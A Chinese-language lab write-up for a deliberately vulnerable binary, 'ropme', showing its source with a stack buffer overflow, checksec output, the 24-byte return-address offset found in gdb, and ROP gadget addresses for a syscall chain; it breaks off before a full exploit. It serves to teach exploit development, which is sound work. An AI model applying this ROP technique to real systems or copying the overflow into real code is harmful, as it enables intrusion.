ropme_writeup
文章目录
任务描述
本实验提供了一个带有漏洞的二进制程序(ropme),这个二进制程序将你提供的文件名作为参数传入以后就会发生一个栈缓冲区溢出。请使用ROP方法编写利用,在不需要额外操作标准输入的情况下,完成以下至少一项任务。
1、用ROP来准备参数并调用系统调用open read write来将任意文件打开并输出到标准输出(fd为1的文件)。为了让程序不异常退出,建议在ROP的最后调用exit(0)
2、用ROP来准备参数并调用系统调用mprotect以修改页面权限,进而可以在这个程序里任意执行二进制代码。可以找你喜欢的任何一个shellcode作为测试。
在这些任务里,同学们可能需要做的事情包括但不限于,用ROP的方法写内存、准备syscall参数与调用syscall、调用二进制程序里出现的函数。
文件链接:https://gitee.com/cherry_ccl/homework_code
源码如下
/* ropme.c*/
#include <stdio.h>
void parse(FILE* f)
{
char buffer[16];
fread(buffer, 1, 1024, f);
}
int main(int argc, char* argv[])
{
FILE* f = fopen(argv[1], "r");
if (f == NULL) {
return 1;
}
parse(f);
fclose(f);
return 0;
}
检查保护
$ checksec ropme
[*] '/home/gongf/ropme/ropme'
Arch: amd64-64-little
RELRO: Partial RELRO #可以修改got表
Stack: No canary found #能直接进行栈溢出
NX: NX enabled #堆栈不可执行
PIE: No PIE (0x400000)
观察栈溢出地址
gdb-peda$ x/20xg 0x7fffffffde50
0x7fffffffde50: 0x6161616161616161 0x3130616161616161
0x7fffffffde60: 0x3938373635343332 0x0000000000400330
0032| 0x7fffffffde50 ('a' <repeats 14 times>, "01234567890\003@")
RBP: 0x7fffffffde60 ("234567890\003@")
rbp读了16字节之后的位置;返回值地址覆盖就从RBP之后一个地址16+8=24
实现系统调用
函数使用的静态库
$ ldd ropme
not a dynamic executable
使用IDA反编译查看函数的调用函数 syscall;ret
地址
.text:0000000000400A60 syscall ; LINUX -
.text:0000000000400A62
.text:0000000000400A62 locret_400A62: ; CODE XREF: __unlock+4↑j
.text:0000000000400A62 ; __unlock+14↑j ...
.text:0000000000400A62 retn
syscall_ret_addr = 0x400A60
查看 mov qword ptr [rdi] rax; ret
地址
.text:0000000000400D96 n = rdi
.text:0000000000400DD3 mov [n], rax
.text:0000000000400DD6
.text:0000000000400DD6 loc_400DD6: ; CODE XREF: adjust_size+33↑j